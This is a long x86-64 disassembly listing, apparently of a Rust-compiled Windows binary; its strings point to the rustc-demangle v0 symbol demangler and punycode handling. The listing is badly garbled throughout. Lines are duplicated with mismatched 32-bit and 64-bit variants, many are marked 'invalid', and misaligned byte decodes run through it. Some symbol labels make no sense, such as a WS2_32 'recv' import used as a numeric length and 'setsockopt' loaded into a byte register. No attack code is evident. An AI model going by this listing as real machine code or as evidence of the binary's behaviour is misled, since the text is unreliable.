or eax, eax
or eax, eax
shr rax, 0x20
je 0x140141ed7
mov rax, rcx
xor edx, edx
div r8
jmp 0x140141ede
nop dword [rax]
cmp r10, 0x80
cmp edx, 0x80
mov rdi, qword [rsp + 0x38]
jb 0x140141f4f
add byte [rax], al
add cl, ch
insb byte [rdi], dx
add al, byte [rax]
add byte [rcx + 0x41d231c8], cl
jmp 0x140142143
mov eax, ecx
xor edx, edx
div r8d
div eax
div eax
imul rax, qword [rsp + 0x48]
scasd eax, dword [rdi]
and al, 0x48
add rcx, rax
xor eax, eax
nop dword [rax]
mov edx, dword [rbp + rax*4 - 4]
cld
mov dword [rbp + rax*4], edx
dec rax
mov edx, r12d
mov edx, esp
mov edx, esp
sub dl, cl
movzx edx, dl
and edx, 3
loop case.0x140115f51.360
loop case.0x140115f51.360
add rdx, rax
jne 0x140141ef0
in eax, 0x48
sub eax, dword [rsp + 0x50]
sub rax, qword [rsp + 0x50]
mov r12, rax
mov rax, qword [rsp + 0x80]
add rax, rdi
add eax, edi
add eax, edi
sub rax, r10
cmp rax, 3
ror byte [rax - 0x7d], 1
clc
add esi, dword [rdx + 0x28]
jb 0x140141f4f
jb 0x140141f4f
nop word [rax + rax]
movups xmm0, xmmword [rsp + r12*4 + 0x88]
adc byte [rsp + riz*4 + 0x88], al
mov byte [rax], al
add byte [rax], al
movups xmmword [rsp + r12*4 + 0x8c], xmm0
lea rax, [r12 - 4]
mov r12, rax
cmp rax, r10
ja case.0x14011d1d3.198
mov dword [rsp + r10*4 + 0x98], r15d
cmp rbx, qword [rsp + 0x78]
je 0x140142108
add byte [rax], al
add byte [rax], al
movzx r8d, byte [rbx]
mov rax, r9
shr rax, 0x20
mov r15, qword [rsp + 0x30]
je 0x140141f83
mov eax, ecx
xor edx, edx
div qword [rsp + 0x28]
mov r9, rax
shr ebx, 0xc
shr ebx, 0xc
mov eax, r9d
xor edx, edx
div dword [rsp + 0x28]
mov r9d, eax
mov r12, qword [rsp + 0x20]
mov rax, r9
or rax, r13
shr rax, 0x20
je 0x140141fbc
ror byte [rcx - 9], cl
cmc
mov rcx, rax
add rcx, r9
xor r11d, r11d
fisttp dword [rax - 0x7f]
stc
enter 1, 0
fisttp dword [rax - 0x7f]
stc
enter 1, 0
jae 0x140141fd5
jmp 0x140141ffd
mov eax, ecx
xor edx, edx
div r13d
enter 0xffffffffffffd231, 0x41
div ebp
mov ecx, eax
add rcx, r9
leave
xor r11d, r11d
cmp rcx, 0x1c8
add dword [rax], eax
add byte [rdx + 0x28], dh
add dword [rax], eax
add byte [rdx + 0x28], dh
mov r9, rcx
nop dword [rax + rax]
invalid
test byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
mov rax, r9
mul rsi
mov rcx, rdx
shr rcx, 5
add r11, 0x24
cmp r9, 0x3e57
mov r9, rcx
ja 0x140141fe0
inc r10
lea eax, [rcx*4]
lea eax, [rax + rax*8]
add ecx, 0x26
xor edx, edx
div cx
movzx r14d, ax
add r14, r11
inc rdi
mov qword [rsp + 0x38], rdi
add r15, 4
mov qword [rsp + 0x30], r15
xor byte [rax - 0x7d], cl
invalid
add al, 0x48
dec dword [rsp + 0x50]
dec qword [rsp + 0x48]
inc r12
inc esp
xor byte [rax - 0x7d], cl
invalid
inc esp
mov qword [rsp + 0x20], r12
mov eax, 2
mov qword [rsp + 0x28], rax
mov r12, r13
mov r15, qword [rsp + 0x68]
mov rcx, r10
mov r9d, 0x1a
jmp 0x140141d0a
mov rax, qword [rsp + 0x60]
mov eax, dword [rsp + 0x60]
invalid
mov r14, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, str.punycode_0
lea edx, str.punycode_0
mov r8d, 9
mov rcx, r14
int1
add byte [rcx + rcx*4 - 0xf], cl
int1
mov rsi, rax
mov esi, eax
call rax
mov bpl, 1
test al, al
jne 0x1401420da
mov r8, qword [rsp + 0x90]
test r8, r8
test eax, eax
je 0x1401420c4
mov rcx, r14
mov rdx, qword [rsp + 0x88]
mov rdi, rsi
call rsi
test al, al
jne 0x1401420da
lea rdx, [0x1401bfce1]
mov r8d, 1
mov rcx, r14
int1
int1
call rdi
test al, al
jne 0x1401420da
mov rcx, r14
int1
mov rdx, qword [rsp + 0x58]
mov r8, qword [rsp + 0x70]
mov rdi, rsi
call rsi
test al, al
je 0x1401420f0
mov eax, ebp
add rsp, 0x298
add esp, 0x298
add esp, 0x298
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rdx, [0x1401c214b]
lea edx, [0x1401c214b]
mov r8d, 1
mov rcx, r14
mov rax, rdi
mov eax, edi
mov eax, edi
jmp 0x140141c6b
invalid
lea rsi, [rsp + 0x44]
mov rdi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x60]
lea rbx, [rsp + 0x98]
and al, 0x98
add byte [rax], al
add byte [rax], al
mov r14, qword [rsp + 0x30]
add byte [rax], al
mov r14, qword [rsp + 0x30]
nop
mov eax, dword [rbx]
mov dword [rsp + 0x44], eax
invalid
mov rcx, rsi
mov rcx, rsi
int1
mov rdx, rdi
call fcn.140018530
mov ebp, eax
test al, al
invalid
jne 0x1401420da
add rbx, 4
add ebx, 4
add al, 0x49
add r14, 0xfffffffffffffffc
add esi, 0xfffffffc
jne 0x140142120
jmp 0x1401420da
lea r8, str.C:Users_runneradmin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rustc_demangle_0.1.23_src_v0.rs
invalid
add byte [rdx + 0x80], bh
mov edx, 0x80
add byte [rcx + rcx*4 - 0x2f], cl
mov rcx, r10
mov ecx, edx
call fcn.140186a70
ud2
int3
int3
int3
add dword [rdi], ecx
mov dh, 4
adc byte [rax - 1], cl
ret 0x8948
movabs rdi, 0x48c93119731af980
shl eax, 0x20
stc
sbb dh, byte [rbx + 0x19]
xor ecx, ecx
shl rax, 0x20
or rax, rcx
ret
add byte [rax], al
add byte [rcx], dh
ror byte [rax - 0x3f], 0xe0
shl eax, 0x20
or rax, rcx
ret
add al, 0x85
xor edx, edx
xor ecx, ecx
sal byte [rcx], cl
leave
cmp al, 0xe6
setb cl
mov eax, 0x110000
add byte [rax], al
adc dword [rax], eax
invalid
add byte [rax + 0xf], cl
ret 0xc148
ret 0xc148
cmovb rax, rdx
shl rax, 0x20
loopne 0x1401421d1
ret 0xc148
or rax, rcx
ret
int3
int3
int3
sub esp, 0x30
test byte [0x18c1421e0], al
mov esp, dword [rsi + 8]
invalid
invalid
add byte [rbx + rcx*4 + 0x66], cl
or byte [rax - 0x75], cl
invalid
or byte [rax - 0x75], cl
pop rsi
adc byte [rcx + rdi - 0x1d], cl
add dword [rax], eax
add byte [rbp + 0xf], al
movzx esi, byte [rdi + rbx]
add byte [rax], al
movzx esi, byte [rdi + rbx]
lea ebp, [rbx + 1]
mov dword [rsi + 0x10], ebp
lea eax, [rsi - 0x61]
mov dh, 0xc0
sti
mov esp, 0xc1a30f03
invalid
push 0xffffffff8b000001
sbb dil, r15b
add dword [rax], eax
add byte [rbx - 0x3f00e7ba], cl
ror byte [rcx - 0xbc2e7ba], 1
add byte [rax], al
add byte [rdi], cl
xchg dword [rdi], ebx
invalid
add dword [rax], eax
add byte [rax], al
movzx eax, r14b
invalid
add byte [rax], al
sar byte [rdi + 0xf13f883], 0x87
imul eax, dword [rdx], 0x8d480000
add al, byte [rax]
add byte [rax - 0x73], cl
or eax, 0xad8b5
mov ecx, dword [rsi + 0x20]
test rcx, rcx
je 0x14014226e
lea rdx, [0x1401ea640]
lea edx, [0x1401ea640]
or al, byte [rax]
mov r8d, 1
mov eax, 1
call fcn.140013e80
mov dil, 1
test al, al
jne case.0x140122a26.184
test dword [rax + 4], ebx
add byte [rax], al
test dword [rax + 4], ebx
add byte [rax], al
mov rcx, rsi
call fcn.1401421c0
invalid
invalid
inc dword [rax - 0x49]
invalid
invalid
test al, al
jne case.0x140122a26.184
add al, 0
invalid
add al, 0
add byte [rcx - 0x80], al
inc byte [rcx + 0x75]
cmp byte [rax - 0x75], cl
and byte [rax - 0x7b], r9b
leave
je 0x1401422aa
lea rdx, [0x1401bff20]
mov r8d, 2
fadd qword [rdi]
add byte [rcx - 0x48], al
add al, byte [rax]
add byte [rax], al
call fcn.140013e80
test al, al
jne case.0x140122a26.184
test dword [rsp + rax], ebx
add byte [rax], al
invalid
add al, 0
add byte [rax - 0x49], al
add dword [rax - 0x77], ecx
mov rcx, rsi
mov dil, 1
mov rcx, rsi
mov dl, 1
call fcn.1401428a0
add byte [rax + rax*8 + 0x407850f], al
test al, al
jne case.0x140122a26.184
test dword [rdi], eax
add al, 0
invalid
add byte [rax], al
add byte [rax - 0x75], cl
and byte [rax - 0x7b], r9b
leave
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x1401426bb
add eax, dword [rax]
add byte [rax - 0x73], cl
lea rdx, [0x1401ea641]
add byte [rax], al
lea rdx, [0x1401ea641]
lea edx, [0x1401ea641]
mov r8d, 1
call fcn.140013e80
jmp 0x1401426b4
add byte [rax], al
movabs byte [0x3d1e9ffed1b], al
add byte [rax], al
invalid
add byte [rax], al
lea edx, str._for_____::closureshim_as__mut_const___dyn___unsafe_extern__
mov eax, 1
add esp, 0x30
pop rsp
invalid
add byte [rax], al
add al, ch
push rsp
sbb ebp, ebp
inc dword [rax - 0x49]
mov bh, 1
test al, al
jne case.0x140122a26.184
mov bh, 1
add byte [rax - 0x39], cl
invalid
add eax, dword [rax]
add byte [rax - 0x75], cl
mov ecx, dword [rsi + 0x20]
test rcx, rcx
mov ecx, dword [rsi + 0x20]
mov eax, 0x19
add byte [rax], al
inc dword [rax - 0x49]
add dword [rax + rax*8 + 0x359850f], eax
test al, al
invalid
test dword [rcx + 3], ebx
add byte [rax], al
mov dword [rsi], 0
mov ecx, dword [rsi + 0x20]
test ecx, ecx
out 0xdd, eax
invalid
mov edx, dword [rdx + rax*8]
ret 0x8d4c
pop rax
invalid
and byte [rax - 0x7b], cl
fisttp dword [rdi]
test dl, bh
add al, byte [rax]
add byte [rax - 0x73], cl
test rbx, rbx
je case.0x140122b00.222
lea rdx, [0x1401bfb4d]
adc eax, 0x7d794
xchg esp, eax
xlatb
invalid
add byte [rcx - 0x48], al
add dword [rax], eax
add byte [rax], al
invalid
mov r8d, 1
add byte [rax - 0x77], cl
fld1
mov ecx, 0x40ffed1a
mov rcx, rbx
call fcn.140013e80
mov dil, 1
mov bh, 1
mov bh, 1
test al, al
jne case.0x140122a26.184
invalid
add byte [rcx - 0x80], al
invalid
cmp r14b, 0x50
push rax
jne 0x140142609
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x7db37
invalid
lea rdx, [0x1401bff1a]
add byte [rcx - 0x48], al
invalid
mov r8d, 6
jmp 0x140142616
sub byte [rdx], al
add byte [rax], al
mov rcx, qword [rsi + 0x20]
and byte [rax - 0x7b], cl
leave
leave
je case.0x14013e2e6.43
lea rdx, [0x1401bfb4c]
mov r8d, 1
add byte [rax], al
invalid
invalid
add byte [rax], al
add al, ch
invalid
ja case.0x140132527.89
call fcn.140013e80
mov dil, 1
test al, al
in eax, dx
inc dword [rax - 0x49]
add dword [rax + rax*8 + 0x2b2850f], eax
jne case.0x140122a26.184
jne case.0x140122a26.184
test dword [rdx + 0x4d000002], esi
add al, byte [rax]
add byte [rbp + 0x39], cl
cmp r13, r12
jae 0x140142684
invalid
invalid
cmp al, 0x2f
cmp r13, r12
cmp ebp, esp
jae 0x140142684
cmp byte [r15 + r13], 0x4c
jne 0x140142684
jne 0x140142684
pop rsp
add al, byte [rax]
add byte [rax - 0x7d], cl
ret
add rbx, 2
mov qword [rsi + 0x10], rbx
pop rsi
adc byte [rax - 0x73], cl
lea ecx, [rsp + 0x20]
lea ecx, [rsp + 0x20]
mov rdx, rsi
mov edx, esi
call fcn.140145160
cmp byte [rsp + 0x20], 0
je 0x14014264c
add byte [rax], al
movzx ebx, byte [rsp + 0x21]
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je case.0x140135311.64
test bl, bl
lea rax, str.invalid_syntaxrecursion_limit_reached
invalid
add byte [rax - 0x73], cl
adc eax, 0x7da5a
cmove rdx, rax
movzx eax, bl
ret
lea r8, [rax + rax*8]
ret
add r8, 0x10
add eax, 0x10
call fcn.140013e80
mov dil, 1
invalid
test al, al
invalid
add dword [rax + rax*8 + 0x241850f], eax
add byte [rax], al
ror byte [rdi], 0x85
add al, byte [r8]
add byte [rax - 0x39], cl
invalid
invalid
invalid
jne case.0x140122a26.184
mov qword [rsi], 0
mov byte [rsi + 8], bl
invalid
or cl, ch
xor byte [rdx], al
jmp 0x1401426c4
add byte [rax], al
mov rcx, rsi
call fcn.140144fc0
jmp 0x1401426b4
add byte [rdx], al
add byte [rax], al
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x1401424da
lea rdx, [0x1401bff22]
mov r8d, 4
invalid
add byte [rcx - 0x48], al
add al, 0
add byte [rax], al
invalid
add al, ch
mov cl, 0x19
in eax, dx
call fcn.140013e80
mov dil, 1
add dword [rax + rax*8 + 0x1ec850f], eax
add byte [rax], al
inc dword [rax - 0x49]
add dword [rax + rax*8 + 0x1ec850f], eax
add byte [rax], al
in al, dx
add dword [rax], eax
add byte [rax - 0x77], cl
int1
mov rcx, rsi
call fcn.1401452b0
mov dil, 1
invalid
test al, al
jne case.0x140122a26.184
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rax - 0x75], cl
invalid
mov rcx, qword [rsi]
test rcx, rcx
je 0x140142623
mov rax, qword [rsi + 0x10]
cmp rax, qword [rsi + 8]
jae 0x140142623
cmp byte [rcx + rax], 0x4c
jne 0x140142623
inc rax
mov qword [rsi + 0x10], rax
lea rcx, [rsp + 0x20]
mov rdx, rsi
call fcn.140145160
cmp byte [rsp + 0x20], 0
jl 0x14014254c
and byte [rax], al
jl 0x14014254c
and byte [rax], al
jne 0x140142448
mov rbx, qword [rsp + 0x28]
and al, 0x28
test rbx, rbx
je 0x1401426bb
test byte [rbp + 1], bh
add byte [rax], al
test byte [rbp + 1], bh
add byte [rax], al
mov rcx, qword [rsi + 0x20]
test rcx, rcx
test ecx, ecx
je 0x140142561
lea rdx, [0x1401bff26]
mov r8d, 3
add al, ch
invalid
sbb ebp, ebp
inc dword [rax + rax*8 + 0x165850f]
add byte [rax], al
invalid
add al, ch
invalid
mov rcx, rsi
mov rdx, rbx
call fcn.140142f80
jmp 0x1401426b7
add byte [rax], al
jmp 0x1401426b4
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rax - 0x75], cl
and byte [rax - 0x7b], r9b
leave
je 0x1401425a4
lea rdx, [0x1401bfb49]
mov r8d, 1
mov ebx, 0x410007d5
mov eax, 1
add byte [rcx - 0x48], al
add dword [rax], eax
add byte [rax], al
call fcn.140013e80
in eax, dx
inc dword [rax - 0x49]
mov dil, 1
test al, al
jne case.0x140122a26.184
mov dil, 1
test al, al
jne case.0x140122a26.184
add dword [rax], eax
add byte [rax - 0x77], cl
int1
mov rcx, rsi
call fcn.140145220
mov dil, 1
test rax, rax
jne case.0x140122a26.184
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rax - 0x7d], cl
cli
add dword [rbp + 0x27], esi
cmp rdx, 1
jne 0x1401425e5
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x1401426bb
lea rdx, str._____
mov r8d, 1
add dword [rax], eax
add byte [rax], al
invalid
add byte [rcx - 0x48], al
add dword [rax], eax
add byte [rax], al
invalid
add al, ch
movabs dword [0xe1850fc084ffed18], eax
sbb ch, ch
inc dword [rax + rax*8 + 0xe1850f]
loope 0x1401425e3
add byte [rax], al
invalid
invalid
call fcn.140013e80
test al, al
jne case.0x140122a26.184
loope 0x1401425e3
add byte [rax], al
sbb ch, ch
inc dword [rax + rax*8 + 0xe1850f]
loope 0x1401425e3
loope 0x1401425e3
add byte [rax], al
mov rcx, qword [rsi + 0x20]
test rcx, rcx
test ecx, ecx
and byte [rax - 0x7b], r9b
leave
test ecx, ecx
je 0x1401426bb
test cl, cl
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x83417
xor al, 8
invalid
lea rdx, [0x1401c5a10]
xor al, 8
add byte [rcx - 0x48], al
add dword [rax], eax
or byte [rax], al
mov r8d, 1
add byte [rax], al
add al, ch
jl 0x14014261a
call fcn.140013e80
jmp 0x1401426b7
add byte [rax], al
in eax, dx
invalid
add byte [rax], al
lea rdx, [0x1401bff16]
adc eax, 0x7d906
mov r8d, 4
mov eax, 4
add al, 0
add byte [rax], al
mov rcx, rbx
call fcn.140013e80
sbb ch, ch
invalid
jmp 0x1401426a8
fld1
invalid
sbb ch, ch
invalid
mov rcx, qword [rsi + 0x20]
test rcx, rcx
test ecx, ecx
and byte [rax - 0x7b], r9b
leave
test ecx, ecx
je case.0x140115bd4.436
test byte [rdi], al
std
invalid
dec dword [rax - 0x73]
adc eax, 0x7d879
lea rdx, str.invalid_syntaxrecursion_limit_reached
lea edx, str.invalid_syntaxrecursion_limit_reached
mov r8d, reloc.WS2_32.dll_recv
add byte [rax], al
add al, ch
call fcn.140013e80
test al, al
je case.0x140115bd4.436
test ch, ch
cld
invalid
invalid
sbb ch, ch
sbb ch, ch
inc dword [rax + rax*8 - 0x3127bf1]
test ch, ch
cld
invalid
jmp case.0x140122a26.184
jp 0x140142695
mov rdx, qword [rsp + 0x28]
mov edx, dword [rsp + 0x28]
push rsp
and al, 0x28
sub byte [rax - 0x7b], cl
sal byte [rsi + rbp + 0x48], cl
mov rcx, rsi
test rdx, rdx
test edx, edx
je 0x140142684
mov rcx, rsi
mov rcx, rsi
call fcn.140142f80
mov dil, 1
test al, al
or dword [rax], eax
add byte [rax - 0x49], al
add dword [rax + rax*8 - 0x74b79e8b], eax
jne case.0x140122a26.184
mov rcx, qword [rsi + 0x20]
test rcx, rcx
sal byte [rbp + 0x61], 0x48
mov ecx, dword [rsi + 0x20]
jne case.0x140122a26.184
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x140142684
lea rdx, [0x1401bff15]
mov r8d, 1
mov eax, 1
movabs al, byte [0x1b8410007d8]
add al, ch
mov eax, 1
add byte [rax], al
call fcn.140013e80
test al, al
invalid
jne case.0x140122a26.184
add byte [rax], bl
in eax, dx
inc dword [rax + rax*8 - 0x7fbebd8b]
invalid
sal byte [rbp + 0x42], 0x41
cmp r14b, 0x52
cmp dh, 0x52
je case.0x140122b00.222
mov rcx, qword [rsi + 0x20]
mov ecx, dword [rsi + 0x20]
test rcx, rcx
test ecx, ecx
je case.0x140122b00.222
sbb dword [rax - 0x73], ecx
lea rdx, [0x1401bff16]
adc eax, 0x7d87c
mov r8d, 4
mov eax, 4
call fcn.140013e80
mov dil, 1
fist dword [rdi]
in eax, dx
inc dword [rax - 0x49]
add dword [rax + rax*8 - 0x76b7e58b], eax
jne case.0x140122a26.184
invalid
invalid
invalid
test al, al
jne case.0x140122a26.184
sbb cl, byte [rax - 0x77]
mov rcx, rsi
int1
call fcn.1401421c0
sti
invalid
mov bh, 1
or ecx, dword [rax - 0x7d]
add byte ds:[rbx + rax - 1], dh
je 0x1401426c4
dec dword [rsi + 0x18]
invalid
dec dword [rcx - 0x3b7cb708]
xor byte [rbx + 0x5f], bl
pop rbx
pop rdi
pop rbp
pop rdi
int3
int3
push r14
push rsi
push rsi
push rdi
push rbx
sub rsp, 0x28
mov rax, qword [rcx]
test rax, rax
je 0x140142747
push rsi
push rsi
mov rdi, rcx
mov edi, ecx
iretd
xor esi, esi
lea rbx, [0x1401bff00]
lea ebx, [0x1401bff00]
lea ebx, [0x1401bff00]
xor r14d, r14d
xor esi, esi
mov rcx, qword [rdi + 0x10]
mov ecx, dword [rdi + 0x10]
adc byte [rax + 0x3b], cl
cmp rcx, qword [rdi + 8]
jae 0x140142710
or byte [r11 + 6], r14b
cmp byte [rax + rcx], 0x45
je 0x140142752
sub r14, 1
jb case.0x140124c59.173
sbb ecx, dword [rax - 0x75]
and byte [r8 - 0x7b], r9b
leave
mov rcx, qword [rdi + 0x20]
mov ecx, dword [rdi + 0x20]
test rcx, rcx
je case.0x140124c59.173
mov r8d, 2
add byte [rax], al
mov rdx, rbx
call fcn.140013e80
invalid
in eax, dx
invalid
test al, al
jne 0x14014274b
invalid
invalid
mov rcx, rdi
call fcn.140142770
test al, al
jne 0x14014274b
invalid
sal byte [rbp + 0xe], 0x48
invalid
mov rax, qword [rdi]
mov eax, dword [rdi]
test rax, rax
jne 0x140142700
jmp 0x14014275b
xor esi, esi
jmp 0x14014275b
mov esi, 1
add dword [rax], eax
add byte [rax], al
invalid
add bl, ch
or dword [rax - 1], ecx
ror dword [rax - 0x77], 0x4f
adc byte [rcx], dh
jmp 0x14014275b
inc rcx
mov qword [rdi + 0x10], rcx
xor esi, esi
invalid
test byte [rax - 0x77], 0xf0
mov rax, rsi
invalid
add rsp, 0x28
add esp, 0x28
invalid
pop rbx
pop rdi
pop rsi
pop r14
ret
int3
sub esp, 0x20
in al, dx
and byte [rax - 0x77], cl
invalid
mov rsi, rcx
mov rcx, qword [rcx]
test rcx, rcx
je 0x1401427be
mov r8, qword [rsi + 8]
mov rax, qword [rsi + 0x10]
adc byte [rcx + rdi - 0x40], cl
or byte [rax - 0x75], r9b
or byte [rax - 0x75], cl
adc byte [rcx + r15 - 0x40], r9b
adc byte [rcx + rdi - 0x40], cl
cmp eax, eax
jae 0x1401427be
movzx edx, byte [rcx + rax]
cmp edx, 0x4b
je 0x1401427cb
mov dh, setsockopt
add dword [rbx + 0x35744bfa], eax
cmp edx, 0x4c
jne 0x1401427be
invalid
and ecx, dword [rbp + rcx*4 + 0x48]
add dword [rcx + rcx*4 + 0x4e], ecx
mov dword [rsi + 0x10], ecx
invalid
invalid
lea r9, [rax + 1]
mov qword [rsi + 0x10], r9
mov dword [rsi + 0x10], ecx
mov dword [rsi + 0x10], ecx
adc byte [rbp + 0x39], r9b
cmp r9, r8
sal dword [rbx + 0x39], 0x42
cmp byte [rcx + rcx], 0x5f
invalid
pop rdi
jae 0x1401427e1
cmp byte [rcx + r9], 0x5f
or dword [rdi + 0x75], ebx
xor cl, byte [rax - 0x7d]
rol byte [rdx], 0x48
mov qword [rsi + 0x10], rax
jne 0x1401427e1
add rax, 2
mov qword [rsi + 0x10], rax
xor eax, eax
jmp 0x140142881
ret
add byte [rax], al
invalid
ret
add byte [rax - 0x77], cl
int1
mov rcx, rsi
mov ecx, esi
add rsp, 0x20
pop rsi
jmp fcn.1401421c0
inc rax
inc eax
ror byte [rax - 0x77], 0x46
adc byte [rax - 0x77], cl
invalid
mov qword [rsi + 0x10], rax
mov rcx, rsi
mov ecx, esi
adc byte [rax - 0x77], r9b
mov ecx, esi
int1
xor edx, edx
add rsp, 0x20
pop rsi
jmp fcn.1401428a0
add byte [rax], al
invalid
add byte [rax], al
add byte [rcx], dh
rol byte [rcx - 0x46], 0x3e
invalid
invalid
invalid
add byte [rax], al
xor eax, eax
mov r10d, 0x3e
nop dword [rax]
add byte [rax], al
add byte [rdi], cl
invalid
cmp r9, r8
jae 0x14014284b
sal dword [rbx + 0x56], 0x42
movzx edx, byte [rcx + rcx]
adc al, 9
movzx edx, byte [rcx + r9]
adc al, 9
or dword [rax + 0x40745ffa], eax
cmp dl, 0x5f
je 0x14014283f
lea r11d, [rdx - 0x30]
pop rdx
rol byte [rcx - 0x80], 1
sti
or dh, byte [rdx + 0x1f]
cmp r11b, 0xa
cmp bl, 0xa
jb case.0x140122a26.220
lea r11d, [rdx - 0x61]
pop rdx
lahf
cmp r11b, 0x1a
jae 0x140142818
add dl, 0xa9
jmp 0x140142825
invalid
ret 0xeba9
or eax, 0xbf5a8d44
lea r11d, [rdx - 0x41]
pop rdx
mov edi, 0x1afb8041
sti
invalid
cmp r11b, 0x1a
sti
sbb dh, byte [rbx + 0x29]
jae 0x14014284b
add dl, 0xe3
jrcxz 0x140142867
mov r11d, edx
mov ebx, edx
ror dword [rcx - 1], cl
ror dword [rcx + rcx*4 + 0x4e], 0x10
invalid
invalid
inc r9
mov qword [rsi + 0x10], r9
invalid
invalid
adc byte [rcx - 9], r9b
loop 0x1401428a3
mul r10
jo 0x14014284b
movzx edx, r11b
ror dword [rax + 1], cl
sal byte [rbx - 0x4d], 1
jae case.0x1401207b8.234
jmp 0x14014284b
add rax, rdx
jae case.0x1401207b8.234
inc r9
mov qword [rsi + 0x10], r9
adc byte [rax - 1], r9b
invalid
jne 0x140142881
mov rcx, qword ss:[rsi + 0x20]
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x14014286e
lea rdx, str.invalid_syntaxrecursion_limit_reached
adc eax, 0x7d655
invalid
invalid
mov r8d, reloc.WS2_32.dll_recv
call fcn.140013e80
mov ecx, eax
mov al, 1
invalid
add byte [rax], al
add al, ch
sbb dl, byte [rsi]
in eax, dx
dec dword [rcx - 0x7bfe4f3f]
invalid
invalid
sal dword [rax + 0x75c98401], 0xd
add dword [rcx + rcx*8 - 0x38b7f28b], eax
invalid
test cl, cl
leave
jne 0x14014287b
mov qword [rsi], 0
add byte [rax], al
mov byte [rsi + 8], 0
xor eax, eax
add rsp, 0x20
pop rsi
ret
invalid
and byte [rsi - 0x3d], bl
mov rcx, rsi
mov rdx, rax
add rsp, 0x20
pop rsi
jmp fcn.140142f80
out dx, eax
invalid
add byte [rax], al
and byte [rsi - 0x17], bl
out dx, eax
invalid
int3
cmp byte [rax - 0x77], cl
invalid
add byte [rbx + rcx*4 + 0x4e], cl
or byte [rax - 0x75], cl
adc byte [rcx + r15 - 0x38], r9b
mov dh, 0x1c
add dword [rbp + rcx*4 + 0x40], ecx
add dword [rcx + rcx*4 + 0x46], ecx
add dword [rcx + rcx*4 + 0x46], ecx
adc byte [rbx + rcx*4 + 0x56], al
sbb byte [rcx - 1], al
ret 0x8944
push rsi
sbb byte [rcx - 0x7f], al
cli
hlt
add byte [rax], al
or al, byte [rax]
movsxd r10, dword [r11 + r10*4]
add r10, r11
add edx, ebx
jmp r10
jae 0x140142949
cmp byte [rcx + r8], 0x6e
jne 0x140142949
add rax, 2
add eax, 2
mov qword [rsi + 0x10], rax
mov rcx, qword [rsi + 0x20]
and byte [rax - 0x7b], cl
leave
and byte [rax - 0x7b], cl
leave
je 0x140142949
lea rdx, [0x1401bfce1]
mov r8d, 1
scasb al, byte [rdi]
rol dword [rdi], cl
add byte [rcx - 0x48], al
add dword [rax], eax
add byte [rax], al
call fcn.140013e80
mov dil, 1
test al, al
jne 0x140142e81
invalid
add byte [rax], al
invalid
adc eax, 0xb740ffed
add dword [rax + rax*8 + 0x538850f], eax
invalid
add byte [rax], al
invalid
add eax, 0x89480000
add byte [rax - 0x77], cl
mov rcx, rsi
int1
mov edx, ebx
call fcn.140143170
mov dil, 1
test al, al
jne 0x140142e81
invalid
add byte [rax], al
add eax, 0x83480000
add byte ds:[rdi], cl
test byte [rdi], dl
add eax, 0x4eff0000
dec dword [rsi + 0x18]
jmp 0x140142e7f
add byte [rax], al
cmp qword [rsi], 0
je 0x140142e7f
dec dword [rsi + 0x18]
jmp 0x140142e7f
add byte [rax], al
invalid
sbb dword [rax], eax
add byte [rax], al
ror byte [rdi], 0x85
jmp 0x140142998
add byte [rax - 0x77], cl
int1
call fcn.140143440
jmp 0x140142953
add dword [rbp + 0x75], esp
adc eax, 0x2c08348
add cl, byte [rax - 0x77]
adc byte [rax - 0x77], r9b
int1
jne 0x1401429e4
call fcn.140143970
jmp 0x140142953
invalid
add rsp, 0xa8
pop rbx
pop rdi
pop rsi
pop r14
ret
mov r9, rdx
shl r9, 4
mov edx, r10d
or rdx, r9
cmp rcx, rsi
cmp ecx, esi
je 0x14014371b
movzx ebx, byte [rcx]
movzx r9d, bl
test r9b, r9b
js 0x140143770
inc rcx
lea r10d, [r9 - 0x30]
cmp r10d, 0xa
jb case.0x1400d1872.950
jmp 0x140143810
mov r10d, r9d
and r10d, 0x1f
movzx edi, byte [rcx + 1]
and edi, 0x3f
cmp r9b, 0xdf
jbe 0x1401437d4
movzx r11d, byte [rcx + 2]
shl edi, 6
and r11d, 0x3f
or r11d, edi
cmp bl, 0xf0
jb 0x1401437f2
movzx r9d, byte [rcx + 3]
and r10d, 7
shl r10d, 0x12
shl r11d, 6
and r9d, 0x3f
or r9d, r11d
or r9d, r10d
cmp r9d, 0x110000
je 0x14014371b
add rcx, 4
lea r10d, [r9 - 0x30]
cmp r10d, 0xa
jb case.0x1400d1872.950
jmp 0x140143810
add rcx, 2
shl r10d, 6
or r10d, edi
mov r9d, r10d
lea r10d, [r9 - 0x30]
cmp r10d, 0xa
jb case.0x1400d1872.950
jmp 0x140143810
add rcx, 3
shl r10d, 0xc
or r11d, r10d
or ebx, edx
or ebx, edx
mov r9d, r11d
lea r10d, [r9 - 0x30]
cmp r10d, 0xa
cli
or cl, byte [rdi]
invalid
xor bh, bh
invalid
invalid
cli
or cl, byte [rdi]
invalid
nop
or r9d, 0x20
add r9d, 0xffffff9f
add r9d, 0xa
cmovb r9d, r8d
enter 0xffffffffffff8945, 0xffffffffffffffca
enter 0xffffffffffff8945, 0xffffffffffffffca
cmp r9d, 0x10
jb case.0x1400d1872.950
lea rcx, str.called__Option::unwrap____on_a__None__value
lea r8, str.C:Users_runneradmin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rustc_demangle_0.1.23_src_v0.rs
mov edx, 0x2b
call fcn.140186b70
ud2
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov edx, 0x22
call qword [rax + 0x20]
mov ebp, 0x110000
test al, al
jne 0x14014392d
cmp ebp, 0x22
je 0x14014388b
cmp ebp, 0x110000
je 0x140143938
mov rcx, rbx
mov edx, ebp
call fcn.1401444f0
